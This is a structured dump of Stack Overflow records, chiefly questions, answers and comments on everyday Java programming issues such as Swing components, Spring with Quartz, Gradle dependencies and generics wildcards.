answers question: http://stackoverflow.com/q/22205945

http://stackoverflow.com/comment/33731856
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22216827
has text: @MarounMaroun ok , but why ? if you can explain then it will be helpful. Because this type of code generally throws this type of exception, right ? i also faced once. Devided by zero exception
score: 1

http://stackoverflow.com/q/22247845
tagged with: java
tagged with: quartz-scheduler
has answer: http://stackoverflow.com/a/22250003
type: Question
has title: Starting application context without a main class
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/22250003
favorite count: 0
has body: I am using a scheduler with Spring technology using Quartz. Is it possible to launch my context without creating a main class? Not using the following example: import org.springframework.context.support.ClassPathXmlApplicationContext; public class App { public static void main( String[] args ) throws Exception { new ClassPathXmlApplicationContext("Spring-Quartz.xml"); } } For example I want my Context to be configured when I launch my jetty server.
tagged with: jetty
tagged with: spring
type: AnsweredQuestion
score: 3
upvote count: 3

http://stackoverflow.com/comment/33674414
has text: Edited, do it only when an 'S' is adjacent to an 'O'
type: AnswerComment
type: Comment
score: 0
comment on: http://stackoverflow.com/a/22184440

http://stackoverflow.com/comment/33705753
score: 0
type: Comment
comment on: http://stackoverflow.com/q/22201265
type: QuestionComment
has text: Right, I've just updated my question. Do you have any other ideas why it happens? Thanks!

http://stackoverflow.com/q/22183471
type: UnansweredQuestion
tagged with: phantomjs
tagged with: java
has body: A simple example of using phantomJs in Java will block undefinitely: public void runPhantomJs(String path, String command) { Process process; String outFile = "a11.txt"; try { process = Runtime.getRuntime().exec(path+ " " + command + " &gt; " +outFile); int exitStatus = process.waitFor(); //String status = (exitStatus == 0 ? "SUCCESS:" : "ERROR:"); File f = new File(outFile); if (f.exists()) { BufferedReader in = new BufferedReader(new InputStreamReader(new FileInputStream(f),"UTF-8")); String str; while ((str = in.readLine()) != null) { System.out.println(str); } in.close(); System.out.println(str); } } catch (IOException e) { e.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } } The script execute is very simple, but it returns a whole page on the console: var webPage = require('webpage'); var page = webPage.create(); page.open('http://www.google.com/', function(status) { if (status !== 'success') { console.log('1'); phantom.exit(); } else { console.log(page.content); phantom.exit(); } }); Note that on the pasted code I've added a "> a11.txt" to see if it worked better to read a file instead of reading the output directly. It should be faster, but for some reason it doesn't work. I suppose the redirection > doesn't work.
type: Question
answer count: 1
has comment: http://stackoverflow.com/comment/33673138
score: 0
has comment: http://stackoverflow.com/comment/33672160
has title: phantomjs in Java blocked in process.waitFor()
has comment: http://stackoverflow.com/comment/33685102
has answer: http://stackoverflow.com/a/32667338
has comment: http://stackoverflow.com/comment/33672382

http://stackoverflow.com/comment/33712239
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22205980
has text: Use a BorderLayout on the JFrame and add the JPanel to the CENTER area of the layout. Add whatever you want to the JPanel.

http://stackoverflow.com/comment/33735007
score: 0
type: Comment
type: QuestionComment
has text: That was my other option. Query documents that have to be elevated and merge the results on application level. Too bad it is not entirely possible with solr.
comment on: http://stackoverflow.com/q/22204461

http://stackoverflow.com/comment/33702745
comment on: http://stackoverflow.com/a/22200941
score: 0
has text: also inside onClick, just before trying to convert those to double, and if the check is true, simply return
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22169721
type: AnsweredQuestion
tagged with: java
type: Question
answer count: 2
possible better answer: http://stackoverflow.com/a/22170101
has body: I have : String username = "USER1" String username = "USER10000" I want to increment the value like USER2 OR USER100001 Is there a simple way to do it or should I loop trough the String and check for each characters if it is a digit and construct my new String. Something like for(int i=username.length()-1; i&gt;0; i--) { if( !Character.isDigit(username.charAt(i) ) ){ //creating new string here } } Thank you
has answer: http://stackoverflow.com/a/22170101
accepted answer: http://stackoverflow.com/a/22169798
score: 0
has title: Simple way to increment a String containing a value eg: USER1000
has answer: http://stackoverflow.com/a/22169798

http://stackoverflow.com/comment/33711598
has text: Yes, of course. But this simple check helps sometimes.
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22205561
score: 0

http://stackoverflow.com/a/38561923
has body: Please make sure that you have given content type correctly, ("application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"); Generates the excel in .xlsx format which is compatible from MS Office 2007 onwords ("application/vnd.ms-excel");->Generates the excel in .xls format
type: Answer
answers question: http://stackoverflow.com/q/22311771
score: 0

http://stackoverflow.com/a/22196448
has body: jar can't contain android resources. If you need a library with resources, use it as an android library project.
score: 0
answers question: http://stackoverflow.com/q/22196115
type: Answer

http://stackoverflow.com/comment/33711834
type: Comment
comment on: http://stackoverflow.com/a/22205804
score: 0
has text: @Christian To keep things clear for OP, `equals()` can be used with all objects (not just strings), and not with primitives.
type: AnswerComment

http://stackoverflow.com/a/22298442
answers question: http://stackoverflow.com/q/22298292
accepted answer of: http://stackoverflow.com/q/22298292
has comment: http://stackoverflow.com/comment/33885117
has comment: http://stackoverflow.com/comment/33885816
has comment: http://stackoverflow.com/comment/33885599
has body: Write the whole list at once. If you write each group seperately, you'll have to read them in a loop until you get an exception, or you'll have to send the number of groups before sending the groups themselves to know how many groups to read. Sending the list is much easier.
has comment: http://stackoverflow.com/comment/33883931
has comment: http://stackoverflow.com/comment/33884466
has comment: http://stackoverflow.com/comment/33884939
has comment: http://stackoverflow.com/comment/33892837
type: AcceptedAnswer
score: 0
type: Answer

http://stackoverflow.com/comment/33752319
has text: Thanks a lot for the reply everything works fine now!
comment on: http://stackoverflow.com/a/22217664
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/q/22204152
tagged with: java
upvote count: 1
has body: I have an Ant xslt task that looks like this: &lt;xslt basedir="${target.dir}" destdir="${target.dir}" style="${target.dir}/event.xsl" includes="*.xml" excludes="*Common.xml" extension=".tmp.log" force="yes" &gt; &lt;/xslt&gt; Within event.xsl I have a directive: &lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:redirect="http://xml.apache.org/xalan/redirect" xmlns:java="java" extension-element-prefixes="redirect" &gt; [other stuff to set $filename] &lt;redirect:write select="$filename"&gt; For Xalan-J this works exactly as expected, where the generated files are written to destdir. I'm trying to remove the Xalan-J dependency to use the default XSLTC in Java 1.4+. XSLTC does not respect select in this context. Instead, the suggestion was to replace it with: &lt;redirect:write file="{$filename}" This works correctly, except the files are written to the current working directory instead of destdir. The .tmp.log files correctly end up in destdir. Anyone know why destdir is getting ignored by XSLTC's redirect:write? And how to fix it? There are a few workarounds, like making a build.xml for that directory and use the Ant task "ant" to call with destdir as the working directory. Or I could fork to effective chdir in Ant to a similar end. But the kludge would be unnecessary if destdir was respected as it was under Xalan-J.
tagged with: xslt
type: Question
tagged with: ant
has title: XSLTC redirect:write file= does not respect Ant task destdir attribute
downvote count: 0
tagged with: xsltc
tagged with: xalan
favorite count: 0
type: UnansweredQuestion
answer count: 0
score: 1

http://stackoverflow.com/comment/33770487
has text: when you go trough a node, mark it as a special value '5' so you know if it is visited, when iterating you will know if you have been there before. Be sure to mark always0 nodes that dont need aother walk , lets say the 'leafs'.
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22237967

http://stackoverflow.com/comment/33908802
has text: This link will probbaly help you : http://stackoverflow.com/questions/842817/how-does-java-convert-int-into-byte
type: Comment
score: 1
comment on: http://stackoverflow.com/q/22314600
type: QuestionComment

http://stackoverflow.com/q/22292051
type: Question
has answer: http://stackoverflow.com/a/22446727
tagged with: ant
has comment: http://stackoverflow.com/comment/33868628
score: 0
has comment: http://stackoverflow.com/comment/33868489
has comment: http://stackoverflow.com/comment/33872561
answer count: 1
has body: I would like get you advise on the following issue. I need to have both Java 6 and Java 7 to run on my machine. At the same time, I also need to have ant installed. Therefore, I understand I need to edit the environment variables. I have setup accoirdinly accordinly as shown below but when I type ant or java -version on cmd both the commands are indicating as not reconised. Please advice on this issue. Environtment Variables (System Variables) ANT_HOME = C:\apache\ant JAVA_6 = C:\Progra~2\Java\jre6 JAVA_7 = C:\Progra~1\Java\jdk1.7.0_25\jre JAVA_HOME = %JAVA_6% (or JAVA_HOME=%JAVA_7%) PATH = %JAVA_HOME%\bin;%PATH%;%ANT_HOME%\bin After setting the following amendments in my environment varibales, Both ant -version, java -version commands give me "Java.exe" is not recongined
has comment: http://stackoverflow.com/comment/33868314
has comment: http://stackoverflow.com/comment/33868176
accepted answer: http://stackoverflow.com/a/22446727
has comment: http://stackoverflow.com/comment/33868277
type: AnsweredQuestion
tagged with: java
has title: Multiple Java and Ant

http://stackoverflow.com/q/22275068
has body: I am trying to find the sum of the digits of the number 2^1000 and I am using Java BigInteger class for this. However, I could not make it real. Eventually, I get a 0 (zero) with the following code. What might be the problem? Thanks... After Kon's help I fixed the problem, but this time I get a wrong result. Can anyone see the problem with the algorithm? public static void main(String []args) throws Exception { BigInteger big = BigInteger.valueOf(2).pow(1000); BigInteger big2 = BigInteger.valueOf(0); //System.out.println(big); for(long i = 1; i&lt;283; i++) { big2 = big2.add(big.mod(BigInteger.valueOf((long) Math.pow(10,i))).divide(BigInteger.valueOf((long)Math.pow(10,i-1)))); } System.out.println(big2); }
tagged with: biginteger
tagged with: java
type: Question
tagged with: digits
tagged with: sum
has answer: http://stackoverflow.com/a/22275094
score: 4
upvote count: 4
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/22275231
favorite count: 0
has title: Summing BigInteger Digits
type: UnansweredQuestion

http://stackoverflow.com/comment/33905937
type: QuestionComment
has text: It seems that you forgot to increment `i` in your loop. This results in infinite loop, which tries to append characters to `StringBuilder` until all available memory will be consumed.
score: 0
comment on: http://stackoverflow.com/q/22311909
type: Comment

http://stackoverflow.com/comment/33922564
type: Comment
has text: @luojiebin If you have a question, please state it more precisely. What part of initializing the array do you need help with? My answer shows the line that is to be added, if you have a specific question address it there
comment on: http://stackoverflow.com/a/22322854
type: AnswerComment
score: 0

http://stackoverflow.com/q/22226757
has comment: http://stackoverflow.com/comment/33748946
tagged with: android-intent
downvote count: 1
upvote count: 5
tagged with: java
has answer: http://stackoverflow.com/a/22229013
score: 4
has body: I am very new to Android development. I have tried to recreate an app where if you press a button, a message "new text string" is displayed. However, when I run the AVD and choose the Virtual Device, it doesn't display it. Just an old TestApp I had. Can anyone suggest a fix? I'd really appreciate it. My code: <?xml version="1.0" encoding="utf-8"?> <TextView android:id="@+id/hello_text" android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/hello" /> SimpleActivity.java package com.example.simpleactivityexample; import android.app.Activity; import android.os.Bundle; import android.widget.Toast; import android.widget.*; import android.view.View; public class SimpleActivity extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); Toast.makeText(this, "onCreate", Toast.LENGTH_SHORT).show(); Button startButton = (Button) findViewById(R.id.trigger); startButton.setOnClickListener(new View.OnClickListener() { private TextView tv = (TextView) findViewById(R.id.hello_text); public void onClick(View view) { tv.setText("new text string"); } } ); } @Override protected void onStart() { super.onStart(); Toast.makeText(this, "onStart", Toast.LENGTH_SHORT).show(); } @Override protected void onResume() { super.onResume(); Toast.makeText(this, "onResume", Toast.LENGTH_SHORT).show(); } @Override protected void onRestart() { super.onRestart(); Toast.makeText(this, "onRestart", Toast.LENGTH_SHORT).show(); } @Override protected void onPause() { Toast.makeText(this, "onPause", Toast.LENGTH_SHORT).show(); super.onPause(); } @Override protected void onStop() { Toast.makeText(this, "onStop", Toast.LENGTH_SHORT).show(); super.onStop(); } @Override protected void onDestroy() { Toast.makeText(this, "onDestroy", Toast.LENGTH_SHORT).show(); super.onDestroy(); } } Manifest <?xml version="1.0" encoding="utf-8"?> <action android:name="android.intent.action.MAIN" /> <categor…
type: Question
has comment: http://stackoverflow.com/comment/33748763
favorite count: 0
answer count: 3
has answer: http://stackoverflow.com/a/22238001
tagged with: android
has answer: http://stackoverflow.com/a/22227143
linked to: http://stackoverflow.com/q/19873618
has title: Android App won't display in Android Studio Emulator
has comment: http://stackoverflow.com/comment/33749837
type: UnansweredQuestion

http://stackoverflow.com/comment/33792888
has text: How are you instantiating the JFrame (eg. Document, Agent, etc) and what version of Notes?
comment on: http://stackoverflow.com/q/22249409
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33778632
has text: You can intercept https traffic with a proxy (like fiddler) if you want. Or possibly easier: point your code temporarily to a non https endpoint so you can easily scan the actual data being sent across the wire.
score: 0
comment on: http://stackoverflow.com/q/22241191
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22316560
has comment: http://stackoverflow.com/comment/33912008
score: 0
type: Answer
answers question: http://stackoverflow.com/q/22316503
has body: If would be easier if you used an array to hold your data int arr [] = new int [4]; // check input is 4 in length then for (int i = 0; i &lt; input.length(); i++) { char x = input.charAt(i); int y = Character.getNumericValue(x); int seven = addSeven(y); int mod = modulusTen(seven); arr[i] = mod; } // then perform your swap logic int tmp = arr [0]; arr[0] = arr[2]; arr [2] = tmp; tmp = arr[1]; arr[1] = arr[3]; arr[3] = tmp;
has comment: http://stackoverflow.com/comment/33911925
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/22316503

http://stackoverflow.com/q/22179700
has answer: http://stackoverflow.com/a/22190818
has answer: http://stackoverflow.com/a/22179954
tagged with: swing
possible better answer: http://stackoverflow.com/a/22190818
type: AnsweredQuestion
tagged with: java
has title: Updating background color of JTextField automatically
tagged with: background
tagged with: jtextfield
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/22179954
has body: well i made a JTextField and i want it's background to be red when there are no characters in it, and once a character is written to be automatically changed to green. i tried this code textField1.setBackground(textField1.getText().equalsIgnoreCase("") ? Color.RED : Color.GREEN); but it doesn't automatically update it. thanks
score: 0

http://stackoverflow.com/q/22212412
favorite count: 0
has answer: http://stackoverflow.com/a/22212477
has comment: http://stackoverflow.com/comment/33724439
has comment: http://stackoverflow.com/comment/33724310
score: 6
has comment: http://stackoverflow.com/comment/33724333
has answer: http://stackoverflow.com/a/47675708
upvote count: 6
has answer: http://stackoverflow.com/a/76469868
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/53683999
tagged with: java
has comment: http://stackoverflow.com/comment/33724362
accepted answer: http://stackoverflow.com/a/22212477
type: Question
has body: Apologies for the newbie question, but what's the proper way to get a Set (say LinkedHashSet) in reverse order? For Collections there's Collections.reverse(Collection c), but how does one do it for a Set with ordered elements (like a LinkedHashSet)?
has answer: http://stackoverflow.com/a/42132413
has comment: http://stackoverflow.com/comment/33724243
answer count: 6
has title: Sort a Set in reverse order
has answer: http://stackoverflow.com/a/22212472
linked to: http://stackoverflow.com/q/10741902
has comment: http://stackoverflow.com/comment/33724311
possible better answer: http://stackoverflow.com/a/42132413
downvote count: 0

loops
tags question: http://stackoverflow.com/q/22224229
tags question: http://stackoverflow.com/q/22255127
tags question: http://stackoverflow.com/q/22309177
tags question: http://stackoverflow.com/q/22309066
tags question: http://stackoverflow.com/q/22208281
tags question: http://stackoverflow.com/q/22232507
tags question: http://stackoverflow.com/q/22212564
tags question: http://stackoverflow.com/q/22212210
tags question: http://stackoverflow.com/q/22281271
tags question: http://stackoverflow.com/q/22276047
tags question: http://stackoverflow.com/q/22263121
tags question: http://stackoverflow.com/q/22286862
tags question: http://stackoverflow.com/q/22274458
tags question: http://stackoverflow.com/q/22261779
tags question: http://stackoverflow.com/q/22213387
type: Tag
tags question: http://stackoverflow.com/q/22313817
tags question: http://stackoverflow.com/q/22203954
tags question: http://stackoverflow.com/q/22270123
tags question: http://stackoverflow.com/q/22284192
tags question: http://stackoverflow.com/q/22284233
tags question: http://stackoverflow.com/q/22182248
tags question: http://stackoverflow.com/q/22236406
tags question: http://stackoverflow.com/q/22170634
tags question: http://stackoverflow.com/q/22318123
tags question: http://stackoverflow.com/q/22231132
tags question: http://stackoverflow.com/q/22299075
tags question: http://stackoverflow.com/q/22233628
tag name: loops
tags question: http://stackoverflow.com/q/22216720
tags question: http://stackoverflow.com/q/22309136
tags question: http://stackoverflow.com/q/22179431
tags question: http://stackoverflow.com/q/22301900
tags question: http://stackoverflow.com/q/22215191
tags question: http://stackoverflow.com/q/22235366
tags question: http://stackoverflow.com/q/22322093
tags question: http://stackoverflow.com/q/22272123

http://stackoverflow.com/comment/33870819
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22293666
score: 1
has text: possible duplicate of [How do I compare strings in Java?](http://stackoverflow.com/questions/513832/how-do-i-compare-strings-in-java)

http://stackoverflow.com/comment/33872408
comment on: http://stackoverflow.com/q/22294490
has text: It is really strange that a certificate error should return 400... I don't believe this is the appropriate return code. There has to be a difference in the generated content. Code please?
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33665695
has text: @Jason There are lots of ways to do line reversal and random selection. Once you've built your list of lines, [choose a random index](http://docs.oracle.com/javase/7/docs/api/java/util/Random.html) in your array, and then [loop backwards through that String](http://stackoverflow.com/q/2713655/2069350).
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/22179717
type: Comment

http://stackoverflow.com/q/22286995
has comment: http://stackoverflow.com/comment/33859141
tagged with: exception
type: UnansweredQuestion
tagged with: tablecelleditor
has comment: http://stackoverflow.com/comment/33859600
has title: Editing in jtable's customize option
has comment: http://stackoverflow.com/comment/33872764
tagged with: java
tagged with: swing
has comment: http://stackoverflow.com/comment/33859803
type: Question
has comment: http://stackoverflow.com/comment/33859543
has comment: http://stackoverflow.com/comment/33859528
tagged with: jtable
score: 0
has answer: http://stackoverflow.com/a/22288041
has body: After changing some of code in jtable using the 'customize code' option in netbeans the main method araises an erron like "illegal expression". public static void main(String args[]) { /* Set the Nimbus look and feel */ //&lt;editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) "&gt; /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html */ try { for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { if ("Nimbus".equals(info.getName())) { javax.swing.UIManager.setLookAndFeel(info.getClassName()); break; } } } catch (ClassNotFoundException ex) { java.util.logging.Logger.getLogger(Accept.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (InstantiationException ex) { java.util.logging.Logger.getLogger(Accept.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (IllegalAccessException ex) { java.util.logging.Logger.getLogger(Accept.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } catch (javax.swing.UnsupportedLookAndFeelException ex) { java.util.logging.Logger.getLogger(Accept.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); } //&lt;/editor-fold&gt; /* Create and display the form */ java.awt.EventQueue.invokeLater(new Runnable() { public void run() { new Accept().setVisible(true); } }); } what's occured here?
answer count: 1

http://stackoverflow.com/comment/33715674
comment on: http://stackoverflow.com/q/22207735
type: Comment
type: QuestionComment
score: 0
has text: @Smutje I don't necessarily know, it is just only allowing me to enter one symbol in the JTextField, no more. Once I take out the setText then they work fine.

nullable
tag name: nullable
type: Tag
tags question: http://stackoverflow.com/q/22300406

http://stackoverflow.com/a/22325443
type: Answer
score: 2
upvote count: 2
has body: You need to assign the result value that generated form that line like: double value = (( hours - 10) * 2 ) + 9.95; Read about valid statement in Java
accepted answer of: http://stackoverflow.com/q/22325395
has comment: http://stackoverflow.com/comment/33928353
answers question: http://stackoverflow.com/q/22325395
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/33927100

http://stackoverflow.com/comment/33762942
has text: This does actually not solve my problem since it does redirect me to the access denied page and not the login page.
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22227451

http://stackoverflow.com/q/22310637
tagged with: gradle
type: Question
score: 3
has answer: http://stackoverflow.com/a/22311348
accepted answer: http://stackoverflow.com/a/22311348
upvote count: 3
downvote count: 0
answer count: 1
has title: Gradle searching Ivy service but no Ivy config / repo defined
favorite count: 0
tagged with: android
type: AnsweredQuestion
tagged with: android-gradle-plugin
has body: I am getting the following error from Gradle Could not resolve all dependencies for configuration ':unitTestCompile'. > Could not find junit:junit:4.11. Here is my build.gradle apply plugin: 'android-library' buildscript { repositories { mavenCentral() } dependencies { classpath 'com.android.tools.build:gradle:0.8.+' } } version = '0.6.2' configurations { unitTestCompile.extendsFrom runtime unitTestRuntime.extendsFrom unitTestCompile } dependencies { compile files('libs/android-support-v4.jar') unitTestCompile 'junit:junit:4.11' } android { buildToolsVersion "19.0.1" compileSdkVersion 17 sourceSets { main { manifest.srcFile 'AndroidManifest.xml' java.srcDirs = ['src', 'bundled-src'] resources.srcDirs = ['src'] aidl.srcDirs = ['src'] renderscript.srcDirs = ['src'] res.srcDirs = ['res'] assets.srcDirs = ['assets'] } } dependencies { compile fileTree(dir: './libs', include: 'Amplitude.jar') } } sourceSets { unitTest { java.srcDirs = ['tests/src'] res.srcDirs = ['tests/res'] assets.srcDirs = ['tests/assets'] resources.srcDirs = ['tests/res'] } } task doUnitTest(type:Test, dependsOn: assemble) { description = "run unit tests" testClassesDir = project.sourceSets.unitTest.output.classesDir classpath = project.sourceSets.unitTest.runtimeClasspath } check.dependsOn doUnitTest A debug run indicates that it is trying to resolve the dependency with Ivy and not with Maven? 16:21:58.633 [DEBUG] [org.gradle.api.internal.artifacts.ivyservice.resolveengine.DependencyGraphBuilder] Visiting configuration :analytics-android:0.6.2(unitTestCompile). 16:21:58.633 [DEBUG] [org.gradle.api.internal.artifacts.ivyservice.resolveengine.DependencyGraphBuilder] Visiting dependency :analytics-android:0.6.2(unitTestCompile) -> junit:junit:4.11(dependency: junit#junit;4.11 {unitTestCompile=[default]}) 16:21:58.634 [DEBUG] [org.gradle.api.internal.artifacts.ivyservice.resolveengine.DependencyGraphBuilder] Selecting new module version junit:junit:4.11 16:21:58.634 [DEBUG] [org.gradle.api.internal.arti…
tagged with: java
tagged with: maven

http://stackoverflow.com/comment/33921654
has text: Try http://docs.oracle.com/javase/7/docs/api/javax/swing/SwingUtilities.html#getWindowAncestor(java.awt.Component)
score: 0
comment on: http://stackoverflow.com/q/22322127
type: Comment
type: QuestionComment

http://stackoverflow.com/q/22215794
has answer: http://stackoverflow.com/a/22219333
accepted answer: http://stackoverflow.com/a/22219333
answer count: 1
downvote count: 0
favorite count: 0
tagged with: retrofit
has title: Format of POJO for nested JSON?
type: AnsweredQuestion
upvote count: 3
tagged with: java
tagged with: gson
type: Question
score: 3
has body: So lets say the JSON response is: [{ "data" : { "item1": value1, "item2:" value2 }}] How do you get the values 'value1' and 'value2' when you must first access data? If the fields were at the root then I could just have the method return a POJO with those field names. I basically want the below to work. @GET("/path/to/data/") Pojo getData(); class Pojo { public String item1; public String item2; }

http://stackoverflow.com/q/22185826
downvote count: 1
tagged with: z3
has comment: http://stackoverflow.com/comment/33981369
has title: Whether z3 java bindings has the get_vars() API as python or not?
has comment: http://stackoverflow.com/comment/33725076
has body: Wonder if Z3 java bindings has get_vars() API, to get all the variables in the formula?
has comment: http://stackoverflow.com/comment/33769087
score: 1
tagged with: java
type: Question
favorite count: 0
linked to: http://stackoverflow.com/q/14080398
has comment: http://stackoverflow.com/comment/33725037
answer count: 0
upvote count: 2
type: UnansweredQuestion

http://stackoverflow.com/a/22250577
type: Answer
answers question: http://stackoverflow.com/q/22250427
has body: I believe you're thinking of Hibernate Envers. At least this enables full history auditing of entities by simply adding an annotation to the entity. Cheers,
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/22250427
upvote count: 1
type: AcceptedAnswer

http://stackoverflow.com/comment/33750193
type: Comment
has text: I tried it with the following code, but i get a ClassCast Exeption: ccidText.addModifyListener(new ModifyListener(){ public void modifyText(ModifyEvent e) { Text text = (Text) e.widget; System.out.println(text.getText()); } }); }
comment on: http://stackoverflow.com/a/22227223
score: 0
type: AnswerComment

http://stackoverflow.com/a/22269842
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/22269706
has comment: http://stackoverflow.com/comment/33827829
has comment: http://stackoverflow.com/comment/33827754
type: Answer
score: 6
has comment: http://stackoverflow.com/comment/33827486
upvote count: 6
has comment: http://stackoverflow.com/comment/33827886
has comment: http://stackoverflow.com/comment/33827775
accepted answer of: http://stackoverflow.com/q/22269706
has comment: http://stackoverflow.com/comment/33828033
has body: List&lt;? extends B1&gt; means: a list of an unknow type, which is or extends B1. So it could be a List&lt;B1&gt;, a List&lt;C1&gt;, or a List&lt;Foo&gt; if Foo also extends B1 or C1. So you can't add anything to such a list: list.add(new A1); // incorrect, since A1 doesn't even extend B1 list.add(new B1()); // incorrect, since the list could be a List&lt;C1&gt; list.add(new C1()); // incorrect, since the list could be a List&lt;Foo&gt; The only thing you can add to such a list is null. List&lt;? super B1&gt; means: a list of an unknow type, which is B1 or a superclass or superinterface of B1. So it could be a List&lt;B1&gt;, a List&lt;A1&gt;, or a List&lt;Object&gt; (and nothing else). So list.add(new A1()); // incorrect, since the list could be a List&lt;B1&gt;, and A1 is not a B1 list.add(new B1()); // valid, since whatever the type of the list (B1, A1 or Object), B1 is of this type list.add(new C1()); // valid, since whatever the type of the list (B1, A1 or Object), B1 is of this type If you try to get an element from such a list, though, you can't have any guarantee about its type. The only sure thing is that it's an Object. The general principle is PECS: Producer Extends, Consumer Super. This means that when a list is a producer (which means you want to get elements from it), then extends should be used. When the list is a consumer (which means you want to add elements to it), then super should be used.
has comment: http://stackoverflow.com/comment/33827809
has comment: http://stackoverflow.com/comment/33828096

http://stackoverflow.com/q/22233729
type: Question
score: 1
tagged with: java
possible better answer: http://stackoverflow.com/a/22236047
has answer: http://stackoverflow.com/a/22236047
tagged with: settext
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/22233738
has body: is there a append feature for JLabel, like in JTextArea? JTextArea Text = new JTextArea("including; "); Text.append("button1,");
favorite count: 0
tagged with: append
type: AnsweredQuestion
tagged with: jlabel
accepted answer: http://stackoverflow.com/a/22233738
has title: append feature in JLabel like in JTextArea java?
upvote count: 1
tagged with: swing

http://stackoverflow.com/a/22325448
has comment: http://stackoverflow.com/comment/33960842
upvote count: 1
has comment: http://stackoverflow.com/comment/33960690
has comment: http://stackoverflow.com/comment/33927500
type: Answer
has comment: http://stackoverflow.com/comment/33929075
downvote count: 0
answers question: http://stackoverflow.com/q/22325088
has comment: http://stackoverflow.com/comment/33958610
has body: In an Eclipse plugin use Platform.getOSArch() (Platform is org.eclipse.core.runtime.Platform). Platform also has a number of ARCH_xxx constants for the various architectures.
score: 1

http://stackoverflow.com/comment/33731477
comment on: http://stackoverflow.com/a/22215157
score: 0
type: Comment
has text: Thank you very much for the help! yes I knew I was close to having it figured out and was wondering if it had something to do with converting.
type: AnswerComment

http://stackoverflow.com/q/22206073
type: Question
has answer: http://stackoverflow.com/a/22206105
has answer: http://stackoverflow.com/a/22206200
has answer: http://stackoverflow.com/a/22206101
has answer: http://stackoverflow.com/a/22206393
has answer: http://stackoverflow.com/a/22206282
downvote count: 0
answer count: 7
favorite count: 0
has answer: http://stackoverflow.com/a/22206140
has answer: http://stackoverflow.com/a/22206121
has comment: http://stackoverflow.com/comment/33712251
accepted answer: http://stackoverflow.com/a/22206200
tagged with: system.out
has body: I'm currently learning java from a book, and a project was to output the days and month name of a month after taking in the number of the month. I was wondering if there is any better way to set up my if statement rather then what I have already done. PS:console reader is just an included class to easily take input from the users console. public class Project13 { public static void main(String[] args) { ConsoleReader console = new ConsoleReader(System.in); System.out.println("Enter a month you would like to evaluate (by number):"); int month = console.readInt(); int days = 0; String monthout = "Month"; String out = "Yes"; if(month == 1){ days = 31; monthout = "January"; out = "There are " + days + " days in " + monthout; }else if(month == 2){ System.out.println("Is it a leap year? Yes or No:"); String leap = console.readLine(); if(leap.equalsIgnoreCase("yes")){ days = 29; monthout = "February"; out = "There are " + days + " days in " + monthout; }else if(leap.equalsIgnoreCase("no")){ days = 28; monthout = "February"; out = "There are " + days + " days in " + monthout; }else{ out = "Something went wrong, please try again"; } }else if(month == 3){ days = 31; monthout = "March"; out = "There are " + days + " days in " + monthout; }else if(month == 4){ days = 30; monthout= "April"; out = "There are " + days + " days in " + monthout; }else if(month == 5){ days = 31; monthout = "May"; out = "There are " + days + " days in " + monthout; }else if(month == 6){ days = 30; monthout = "June"; out = "There are " + days + " days in " + monthout; }else if(month == 7){ days = 31; monthout = "July"; out = "There are " + days + " days in " + monthout; }else if(month == 8){ days = 31; monthout = "August"; out = "There are " + days + " days in " + monthout; }else if(month == 9){ days = 30; monthout = "September"; out = "There are " + days + " days in " + monthout; }else if(month == 10){ days = 31; monthout = "October"; out = "There are " + days + " days in " + monthout; }else if(month …
upvote count: 1
type: AnsweredQuestion
has title: Better way of forming this if statement?
tagged with: if-statement
score: 1
tagged with: java
possible better answer: http://stackoverflow.com/a/22206101

http://stackoverflow.com/comment/33814988
score: 1
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/22262356
has text: You may want to look into the [Ornstein - Uhlenbeck process](http://en.m.wikipedia.org/wiki/Ornstein%E2%80%93Uhlenbeck_process), which behaves like a Brownian motion being pulled back to where it started.

http://stackoverflow.com/a/22176027
score: 4
has body: Your syntax is wrong. Perhaps you meant something like this: Vector stack = new Vector(10); Also, are you sure you want your Vector class inside your Stack class? Also also, it's generally a bad idea to name your classes the same thing as existing Java classes.
type: AcceptedAnswer
type: Answer
answers question: http://stackoverflow.com/q/22175998
accepted answer of: http://stackoverflow.com/q/22175998
upvote count: 4
downvote count: 0

http://stackoverflow.com/a/22225884
type: Answer
has comment: http://stackoverflow.com/comment/33792334
has comment: http://stackoverflow.com/comment/33789395
has comment: http://stackoverflow.com/comment/33747095
has comment: http://stackoverflow.com/comment/33785968
score: 2
upvote count: 2
answers question: http://stackoverflow.com/q/22225529
has comment: http://stackoverflow.com/comment/33788351
